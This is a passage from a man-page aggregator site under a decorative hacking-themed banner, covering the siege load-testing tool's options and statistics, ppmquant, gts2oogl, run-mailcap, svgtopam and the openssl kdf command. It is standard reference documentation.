This directive puts siege into verbose mode which is actually a default setting. This command-line option is useful when the config file is set to ‘verbose = false’ since it will allow you to override that. By default siege’s verbose output is displayed in a color-coded style. * HTTP 2xx is coded blue * HTTP 3xx is coded cyan * HTTP 4xx is coded magenta * HTTP 5xx is coded red * HTTP cached is coded black NOTE: You can turn off color in siege.conf like this: ‘color = off’

-q, –quiet
This directive silences siege. It is mostly used for scripting and is often used in conjunction with -g/–get. You can detect the success or failure of the run with its exit code. siege –quiet -g www.joedog.org if [ $? -eq 0 ] ; then echo “Success” else echo “Failure” fi

-g URL, –get=URL
This option allows you to request a URL and watch the header transaction. There is a corresponding config file directive that allows you to set the request method for these requests: gmethod = HEAD|GET $ siege -g “https://www.joedog.org/" HEAD / HTTP/1.0 Host: www.joedog.org Accept: */* User-Agent: Mozilla/5.0 (unknown-x86_64-linux-gnu) Siege/4.0.0-beta5 Connection: close HTTP/1.1 200 OK Server: cloudflare-nginx Date: Tue, 09 Feb 2016 18:18:41 GMT Content-Type: text/html; charset=UTF-8 Connection: close Last-Modified: Wed, 25 Nov 2015 18:46:08 GMT Cache-Control: max-age=3, must-revalidate Expires: Tue, 09 Feb 2016 18:18:44 GMT Vary: Accept-Encoding,Cookie CF-RAY: 27219407eeff084a-IAD NOTE: It’s a best practice to quote the URL when it’s passed to siege from the the command-line.

-p URL, –print=URL
This option is similar to -g / –get but it PRINTS the page it received from the server. $ siege -p http://www.joedog.org/ GET / HTTP/1.0 Host: www.joedog.org Accept: */* User-Agent: Mozilla/5.0 (unknown-x86_64-linux-gnu) Siege/4.0.3rc1 Connection: close HTTP/1.1 301 Moved Permanently Date: Wed, 19 Oct 2016 16:58:13 GMT Content-Type: text/html; charset=iso-8859-1 Location: https://www.joedog.org/ Server: cloudflare-nginx Connection: close <!DOCTYPE HTML PUBLIC “-//IETF//DTD HTML 2.0//EN”> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href=“https://www.joedog.org/">here</a>.</p> <hr> <address>Apache/2.2.31 (Amazon) Server at www.joedog.org Port 80</address> </body></html>

-c NUM, –concurrent=NUM
This option allows you to set the concurrent number of users. The total number of users is technically limited to your computer’s resources. You should not configure more users than your web server is configured to handle. For example, the default apache configuration is capped at 255 threads. If you run siege with -c 1024, then 769 siege users are left waiting for an apache handler. For this reason, the default siege configuration is capped at 255 users. You can increase that number inside siege.conf but if you make a mess, then please don’t complain to us.

-r NUM, –reps=NUM|once
This option tells each siege user how many times it should run. The value should generally be a number greater than zero but it may be the keyword ‘once’. If –reps=3 then each siege user will run three times before it exits. However, if –reps=once, then each user will run through the urls.txt file exactly one time. For more information about the urls.txt file, see option -f <file>, –file=<file>

-t NUMm, –time=NUMm
This option is similar to –reps but instead of specifying the number of times each user should run, it specifies the amount of time each should run. The value format is NUMm, where NUM is an amount of time and the m modifier is either S, M, or H for seconds, minutes and hours. To run siege for an hour, you could select any one of the following combinations: -t3600S, -t60M, -t1H. The modifier is not case sensitive, but it does require no space between the number and itself.

-d NUM, –delay=NUM
This option instructs siege how long to delay between each page request. The value NUM represents the number of seconds between each one. This number can be a decimal value. In fact the default is half a second (–delay=0.5). The time between delay requests is NOT applied toward the transaction time. If two 0.1 second transactions have a 2 second delay between them, their average transaction time is 0.1 seconds. It is applied toward the total elapsed time. In this scenario, the elapsed time would be 2.2 seconds. NOTE: when the parser is enabled (see: -p/–parser), there is no delay between the page and its elements, i.e., style sheets, javascripts, etc. The delay is only between page requests.

-b, –benchmark
This directive tells siege to go into benchmark mode. This means there is no delay between iterations.

-i, –internet
This option sets siege into what we call internet mode. It makes requests from the urls.txt file (see: -f <file> / –file=<file>) in random order.

-f FILE, –file=FILE
This option tells siege to work with a list of urls inside a text file. The URLs are listed one per line. Unlike URLs that are passed as a command-line argument, the URLs in this file should not be quoted. siege’s urls.txt parser supports comments and variables. Since siege uses the dollar sign ($) as a prefix for scalar variables, you should escape any variable you want to send to the server: https://$(HOST)/siege/jsoner.php POST {“price”: “\10 per mile”}

-R FILE, –rc=FILE
This directive allows you to set an alternative resource file. By default, the siegerc file is $HOME/.siege/siege.conf With this directive, you can override the default and use an alternative file.

-L FILE, –log=FILE
The default log file is $prefix/var/log/siege.log. This directive allows you to specify an alternative file for logging.

-m “string”, –mark=“string”
This option allows you to log a message to the log file before your stats are written there. It is generally used to identify the proceeding run. You could, for example, mark the file with your command-line parameters so it’s understood what configuration generated the following data.

-H “header: value”, –header=“Header: value”
This options allows you to set a custom header in the request. Generally speaking, this header will override an existing header. The Cookie header is a special case. If you set -H Cookie: value then siege will send that cookie in addition to the other ones.

-A “string”, –agent=“string”
This option allows you to override the default user-agent with a custom one. siege –agent=“JoeDog Jr. in da hizzle” Will set this header: User-agent: JoeDog Jr. in da hizzle Alternatively, you could set the User-agent with the -H/–header option above.

-T “text”, –content-type=“text”
This is another set header shortcut. You use this option to override the default Content-type request header.

–no-parser
Turn off the HTML parser. When siege downloads a page, it parses it for additional page elements such as style-sheets, javascript and images. It will make additional requests for any elements it finds. With this option enabled, siege will stop after it pulls down the main page.

–no-follow
This directive instructs siege not to follow 3xx redirects.

URL FORMAT

siege supports RFC 1738 URL formats but it takes pains to implement commonly used shortcuts for your convenience. In addition to RFC 1738 formats, siege introduces its own URL format to indicate protocol method.

An RFC 1738 URL looks like this: <scheme>://<username>:<password>@<hostname>:<port>/<path>;<params>?<query>#<frag>

A siege URL with a method indicator looks like this: <scheme>://<username>:<password>@<hostname>:<port>/<path> POST <query>

You can also post the contents of a file using the redirect character like this: <scheme>://<username>:<password>@<hostname>:<port>/<path> POST </home/jeff/haha.txt

Here are two examples with the siege method indicator: http://www.joedog.org/ POST haha=papa&dada=mama ftp://ftp.armstrong.com/ PUT </home/jdfulmer/etc/tests/bbc.jpg

NOTE: If you set URLs with method indicators at the command-line, then you MUST quote the thing or your shell will treat it like three separate arguments. If the URL is in a urls.txt file, then you shouldn’t quote it.

As mentioned above, siege goes to great lengths to allow commonly used shortcuts that you’re used to from most browser implementations. It treats many parts of the 1738 URL as optional. In this example, the parts in brackets are optional: [scheme://] host.domain.xxx [:port] [/path/file]

When siege receives a host name it builds the URL with default assumptions. www.joedog.org becomes http://www.joedog.org:80/

URLS.txt FILE

From the section called Option Syntax above we learn that siege can take a URL as an argument. siege -c -r2 www.joedog.org will request the JoeDog index page twice. But what if you want to hit large portions of the site? siege will allow you to fill a file with URLs so that it can run through list.

The format for the file is one URL per line: https://www.joedog.org/ https://www.joedog.org/haha/ https://www.joedog.org/haha/ POST homer=simpson&marge=doestoo

The file also supports UNIX-style commenting: # Comment looks like this https://www.joedog.org/ https://www.joedog.org/haha/ https://www.joedog.org/haha/ POST homer=simpson&marge=doestoo

It supports shell-style variable declaration and references. This is convenient if you want to run the same test on two different tiers or two different schemes:

SCHEME=https HOST=bart.joedog.org $(SCHEME)://$(HOST)/ $(SCHEME)://$(HOST)/haha/ $(SCHEME)://$(HOST)/haha/ POST homer=simpson&marge=doestoo

You can tell siege about this file with the -f/–file option: siege -c1 -r50 -f /home/jeff/urls.txt

PERFORMANCE STATISTICS

When its run is complete, siege will gather performance data from all its clients and summarize them after the run. (You can also choose to log these numbers). The command-line output is modeled after Lincoln Stein’s torture.pl script:

Transactions: 2000 hits Availability: 100.00 % Elapsed time: 58.57 secs Data transferred: 5.75 MB Response time: 0.25 secs Transaction rate: 34.15 trans/sec Throughput: 0.10 MB/sec Concurrency: 8.45 Successful transactions: 2000 Failed transactions: 0 Longest transaction: 4.62 Shortest transaction: 0.00 Transactions This number represents the total number of HTTP requests. In this example, we ran 25 simulated users [-c25] and each ran ten times [-r10]. Twenty-five times ten equals 250 so why is the transaction total 2000? Thats because siege counts every request. This run included a META redirect, a 301 redirect and the page it requested contained several elements that were also downloaded. Availability This is the percentage of socket connections successfully handled by the server. It is the result of socket failures (including timeouts) divided by the sum of all connection attempts. This number does not include 400 and 500 level server errors which are recorded in “Failed transactions” described below. Elapsed time The duration of the entire siege test. This is measured from the time the user invokes siege until the last simulated user completes its transactions. Shown above, the test took 58.57 seconds to complete. Data transferred The sum of data transferred to every siege simulated user. It includes the header information as well as content. Because it includes header information, the number reported by siege will be larger then the number reported by the server. In internet mode, which hits random URLs in a configuration file, this number is expected to vary from run to run. Response time The average time it took to respond to each simulated users requests. Transaction rate The average number of transactions the server was able to handle per second, in a nutshell: it is the count of all transactions divided by elapsed time. Throughput The average number of bytes transferred every second from the server to all the simulated users. Concurrency This is the average number of simultaneous connections. The metric is calculated like this: the sum of all transaction times divided by elapsed time (how long siege ran) Successful transactions The number of times the server responded with a return code < 400. Failed transactions The number of times the socket transactions failed which includes socket timeouts. Longest transaction The greatest amount of time that any single transaction took, out of all transactions. Shortest transaction The smallest amount of time that any single transaction took, out of all transactions.

AUTHOR

Jeffrey Fulmer, et al. <[email protected]> is the primary author of siege. Numerous people throughout the globe also contributed to this program. Their contributions are noted in the source code ChangeLog

COPYRIGHT

Copyright by Jeffrey Fulmer, et al. <[email protected]>

This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.

AVAILABILITY

The most recent released version of siege is available by HTTP download: http://download.joedog.org/pub/siege

SEE ALSO

siege.config (1) bombardment (1) siege2csv (1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1578 - Linux cli command memoize-extract.pl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command memoize-extract.pl and provides detailed information about the command memoize-extract.pl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the memoize-extract.pl.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1579 - Linux cli command ppmquant

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmquant and provides detailed information about the command ppmquant, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmquant.

.

NAME 🖥️ ppmquant 🖥️

quantize the colors in a PPM image down to a specified number

SYNOPSIS

ppmquant [-floyd|-fs] ncolors [ppmfile] ppmquant [-floyd|-fs] [-nofloyd|-nofs] -mapfile mapfile [ppmfile]

All options can be abbreviated to their shortest unique prefix. You may use two hyphens instead of one to designate an option. You may use either white space or equals signs between an option name and its value.

DESCRIPTION

This program is part of Netpbm(1) .

ppmquant is obsolete. All it does now is invoke pnmquant or pnmremap. You should use one of those programs in any new program, or if you are modifying an old program, and your program does not have to work with a version of Netpbm before 9.21 (January 2001). ppmquant exists only for name compatibility.

pnmquant is fully backward compatible with ppmquant without the -mapfile option; pnmremap is fully backward compatible with ppmquant with the -mapfile option.

Except with differences suggested by the syntax synopsis above, ppmquant’s function is the same as pnmquant and pnmremap.

Before Netpbm 10.19 (November 2003), ppmquant was a completely separate program from pnmquant, and was a bona fide PPM program. That means if you gave it a PGM or PBM image as input, it would process it as if it were PPM and generate a PPM output. Now, since it is really a PNM program, it processes PBM and PGM inputs as what they are and produces the same kind of output.

Note: The reason ppmquant was changed in Netpbm 10.19 is that for some time before that, ppmquant had a serious bug that would have been difficult to fix – it chose the wrong color set. Maintaining two versions of the same code did not make sense.

SEE ALSO

pnmquant(1) , pnmremap(1) , pnmcolormap(1) , pamseq(1) , ppm(1)

AUTHOR

Copyright (C) 1989, 1991 by Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmquant.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1580 - Linux cli command gts2oogl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command gts2oogl and provides detailed information about the command gts2oogl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the gts2oogl.

NAME 🖥️ gts2oogl 🖥️

converts a GTS file to OOGL file format (Geomview).

SYNOPSIS

gts2oogl [ OPTIONS ] < *input.srf *> output.oogl

DESCRIPTION

This manual page documents briefly the gts2oogl command.

OPTIONS

This program follow the usual GNU command line syntax, with long options starting with two dashes (`-’). A summary of options is included below.

-G, –gnuplot
Writes isolines in gnuplot format.

–component
Color faces according to the component they belong too.

–quality
Color faces according to their quality.

–area
Color faces according to their area.

–incomp
Color incompatible faces.

**-f ***VAL, ***–fold=**VAL
Color faces which make an angle smaller than VAL degrees with any of their neighbors.

-t, –faces
Output individual faces.

–epv
Color vertices according to number of edges per vertex.

**-H ***C, ***–height=**C
Color vertices according to their C coordinate.

-g, –gaussian
Color vertices according to Gaussian curvature.

-C, –curvature
Color vertices according to mean curvature.

–boundary
Output boundary edges.

**-e ***A, ***–feature=**A
Output `feature’ edges defined by angle A.

–non-manifold
Output non-manifold edges.

–duplicate
Output duplicate edges.

**-i ***N, ***–isolines=**N
Draw N isolines (levels of constant altitude).

**-I ***L, ***–isolines=**L
Draw isoline at level L.

**–cmap=**FILE
Load FILE as colormap.

**-m ***VAL, ***–min=**VAL
Use VAL as minimum scaling value.

**-M ***VAL, ***–max=**VAL
Use VAL as maximum scaling value.

-r, –reverse
Reverse colormap.

-n, –nosurface
Do not output surface.

**-F ***C, ***–flatten=**C
Set C coordinate to average value.

-v, –verbose
Display surface statistics.

-h, –help
Display the help and exit.

AUTHOR

gts2oogl was written by Stephane Pipinet <[email protected]>.

This manual page was written by Ruben Molina <[email protected]>, for the Debian project (but may be used by others).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1581 - Linux cli command see

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command see and provides detailed information about the command see, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the see.

NAME 🖥️ see 🖥️

mailcap, view, see, edit, compose, print - execute programs via entries in the mailcap file

SYNOPSIS

run-mailcap –action=ACTION [–option[=value]] [MIME-TYPE:[ENCODING:]]FILE […]

The see, edit, compose and print versions are just aliases that default to the view, edit, compose, and print actions (respectively).

DESCRIPTION

run-mailcap (or any of its aliases) will use the given action to process each mime-type/file in turn. Each file is specified as its mime-type, its encoding (e.g. compression), and filename together, separated by colons. If the mime-type is omitted, an attempt to determine the type is made by trying to match the file’s extension with those in the mime.types files. If no mime-type is found, a last attempt will be done by running the file command, if available. If the encoding is omitted, it will also be determined from the file’s extensions. Currently supported encodings are gzip (.gz), bzip2 (.bz2), xz (.xz), zstd (.zst[d]), and compress (.Z). A filename of “-” can be used to mean “standard input”, but then a mime-type must be specified.

Both the user’s files (~/.mailcap; ~/.mime.types) and the system files (/etc/mailcap; /etc/mime.types) are searched in turn for information.

EXAMPLES

see picture.jpg print output.ps.gz compose text/html:index.htm extract-mail-attachment msg.txt | see image/tiff:gzip:-

OPTIONS

All options are in the form –<opt>=<value>.

–action=<action>
Performs the specified action on the files. Valid actions are view, cat (uses only “copiousoutput” rules and sends output to STDOUT), compose, composetyped, edit and print. If no action is specified, the action will be determined by how the program was called.

–debug
Turns on extra information to find out what is happening.

–nopager
Ignores any “copiousoutput” directive and sends output to STDOUT.

–norun
Displays the found command without actually executing it.

SECURITY

A temporary symbolic link to the file is opened if the file name matches the Perl regular expression “[^[:alnum:],.:/@%^+=_-]”, in order to protect from the injection of shell commands, and to make sure that the name can always be displayed in the current locale. In addition, the file is opened using its absolute path to prevent the injection of command-line arguments, for instance using file names starting with dashes.

SEE ALSO

file(1) mailcap(5) mailcap.order(5) update-mime(8)

AUTHOR

run-mailcap (and its aliases) was written by Brian White <[email protected]>.

COPYRIGHT

run-mailcap (and its aliases) is in the public domain (the only true “free”).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1582 - Linux cli command svgtopam

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command svgtopam and provides detailed information about the command svgtopam, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the svgtopam.

.

NAME 🖥️ svgtopam 🖥️

convert an SVG (Scalable Vector Graphics) image to Netpbm format

SYNOPSIS

svgtopam [-trace] [pnmfile]

Minimum unique abbreviation of option is acceptable. You may use double hyphens instead of single hyphen to denote options. You may use white space in place of the equals sign to separate an option name from its value.

DESCRIPTION

This program is part of Netpbm(1) .

svgtopam reads an SVG (Scalable Vector Graphics) image as input and produces a PAM image as output.

svgtopam is so weak that it is probably not useful in general for converting SVG images. It understands only <path> SVG elements which use only the “M”, “L”, and “z” commands, and only those that use whole number arguments. This is sufficient for converting most of what comes out of pamtosvg (not by coincidence - the program was developed for the specific task of testing pamtosvg), but the main reason it is part of Netpbm is to provide a base for someone to create a full SVG to Netpbm converter.

SVG is a vector image format, which means it describes curves that compose an image. By contrast, PNM is a raster format, which means it describes dots that compose an image. The main practical difference between the two types is that you can scale vector images better. A vector image also takes a lot less data to describe an image if the image is composed of simple curves.

That means it is really an understatement to say that svgtopam is an image format converter. It’s really an image drawer, not unlike ppmdraw.

For more information on SVG, see the Worldwide Web Consortium’s SVG web page .

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), svgtopam recognizes the following command line option:

-trace
This option makes svgtopam issue messages describing the drawing.

SEE ALSO

pamtosvg(1) , pam(1) ,

HISTORY

svgtopam was added to Netpbm in Version 10.34 (May 2006).

Bryan Henderson created svgtopam to test pamtosvg.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/svgtopam.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1583 - Linux cli command openssl-kdfssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command openssl-kdfssl and provides detailed information about the command openssl-kdfssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the openssl-kdfssl.

NAME 🖥️ openssl-kdfssl 🖥️

kdf - perform Key Derivation Function operations

SYNOPSIS

openssl kdf [-help] [-cipher] [-digest] [-mac] [-kdfopt nm:v] [-keylen num] [-out filename] [-binary] [-provider name] [-provider-path path] [-propquery propq] kdf_name

DESCRIPTION

The key derivation functions generate a derived key from either a secret or password.

OPTIONS

-help
Print a usage message.

-keylen num
The output size of the derived key. This field is required.

-out filename
Filename to output to, or standard output by default.

-binary
Output the derived key in binary form. Uses hexadecimal text format if not specified.

-cipher name
Specify the cipher to be used by the KDF. Not all KDFs require a cipher and it is an error to use this option in such cases.

-digest name
Specify the digest to be used by the KDF. Not all KDFs require a digest and it is an error to use this option in such cases. To see the list of supported digests, use openssl list -digest-commands.

-mac name
Specify the MAC to be used by the KDF. Not all KDFs require a MAC and it is an error to use this option in such cases.

-kdfopt nm:v
Passes options to the KDF algorithm. A comprehensive list of parameters can be found in “PARAMETERS” in EVP_KDF (3). Common parameter names used by EVP_KDF_CTX_set_params() are:

key:string
Specifies the secret key as an alphanumeric string (use if the key contains printable characters only). The string length must conform to any restrictions of the KDF algorithm. A key must be specified for most KDF algorithms.

hexkey:string
Alternative to the key: option where the secret key is specified in hexadecimal form (two hex digits per byte).

pass:string
Specifies the password as an alphanumeric string (use if the password contains printable characters only). The password must be specified for PBKDF2 and scrypt.

hexpass:string
Alternative to the pass: option where the password is specified in hexadecimal form (two hex digits per byte).

salt:string
Specifies a non-secret unique cryptographic salt as an alphanumeric string (use if it contains printable characters only). The length must conform to any restrictions of the KDF algorithm. A salt parameter is required for several KDF algorithms, such as EVP_KDF-PBKDF2 (7).

hexsalt:string
Alternative to the salt: option where the salt is specified in hexadecimal form (two hex digits per byte).

info:string
Some KDF implementations, such as EVP_KDF-HKDF (7), take an ‘info’ parameter for binding the derived key material to application- and context-specific information. Specifies the info, fixed info, other info or shared info argument as an alphanumeric string (use if it contains printable characters only). The length must conform to any restrictions of the KDF algorithm.

hexinfo:string
Alternative to the info: option where the info is specified in hexadecimal form (two hex digits per byte).

digest:string
This option is identical to the -digest option.

cipher:string
This option is identical to the -cipher option.

mac:string
This option is identical to the -mac option.

-provider name

-provider-path path

-propquery propq

See “Provider Options” in openssl (1), provider (7), and property (7).

kdf_name
Specifies the name of a supported KDF algorithm which will be used. The supported algorithms names include TLS1-PRF, HKDF, SSKDF, PBKDF2, SSHKDF, X942KDF-ASN1, X942KDF-CONCAT, X963KDF and SCRYPT.

EXAMPLES

Use TLS1-PRF to create a hex-encoded derived key from a secret key and seed:

openssl kdf -keylen 16 -kdfopt digest:SHA2-256 -kdfopt key:secret \ -kdfopt seed:seed TLS1-PRF

Use HKDF to create a hex-encoded derived key from a secret key, salt and info:

openssl kdf -keylen 10 -kdfopt digest:SHA2-256 -kdfopt key:secret \ -kdfopt salt:salt -kdfopt info:label HKDF

Use SSKDF with KMAC to create a hex-encoded derived key from a secret key, salt and info:

openssl kdf -keylen 64 -kdfopt mac:KMAC-128 -kdfopt maclen:20 \ -kdfopt hexkey:b74a149a161545 -kdfopt hexinfo:348a37a2 \ -kdfopt hexsalt:3638271ccd68a2 SSKDF

Use SSKDF with HMAC to create a hex-encoded derived key from a secret key, salt and info:

openssl kdf -keylen 16 -kdfopt mac:HMAC -kdfopt digest:SHA2-256 \ -kdfopt hexkey:b74a149a -kdfopt hexinfo:348a37a2 \ -kdfopt hexsalt:3638271c SSKDF

Use SSKDF with Hash to create a hex-encoded derived key from a secret key, salt and info:

openssl kdf -keylen 14 -kdfopt digest:SHA2-256 \ -kdfopt hexkey:6dbdc23f045488 \ -kdfopt hexinfo:a1b2c3d4 SSKDF

Use SSHKDF to create a hex-encoded derived key from a secret key, hash and session_id:

openssl kdf -keylen 16 -kdfopt digest:SHA2-256 \ -kdfopt hexkey:0102030405 \ -kdfopt hexxcghash:06090A \ -kdfopt hexsession_id:01020304 \ -kdfopt type:A SSHKDF

Use PBKDF2 to create a hex-encoded derived key from a password and salt:

openssl kdf -keylen 32 -kdfopt digest:SHA256 -kdfopt pass:password \ -kdfopt salt:salt -kdfopt iter:2 PBKDF2

Use scrypt to create a hex-encoded derived key from a password and salt:

openssl kdf -keylen 64 -kdfopt pass:password -kdfopt salt:NaCl \ -kdfopt n:1024 -kdfopt r:8 -kdfopt p:16 \ -kdfopt maxmem_bytes:10485760 SCRYPT

NOTES

The KDF mechanisms that are available will depend on the options used when building OpenSSL.

SEE ALSO

openssl (1), openssl-pkeyutl (1), EVP_KDF (3), EVP_KDF-SCRYPT (7), EVP_KDF-TLS1_PRF (7), EVP_KDF-PBKDF2 (7), EVP_KDF-HKDF (7), EVP_KDF-SS (7), EVP_KDF-SSHKDF (7), EVP_KDF-X942-ASN1 (7), EVP_KDF-X942-CONCAT (7), EVP_KDF-X963 (7)

HISTORY

Added in OpenSSL 3.0

COPYRIGHT

Copyright 2019-2023 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
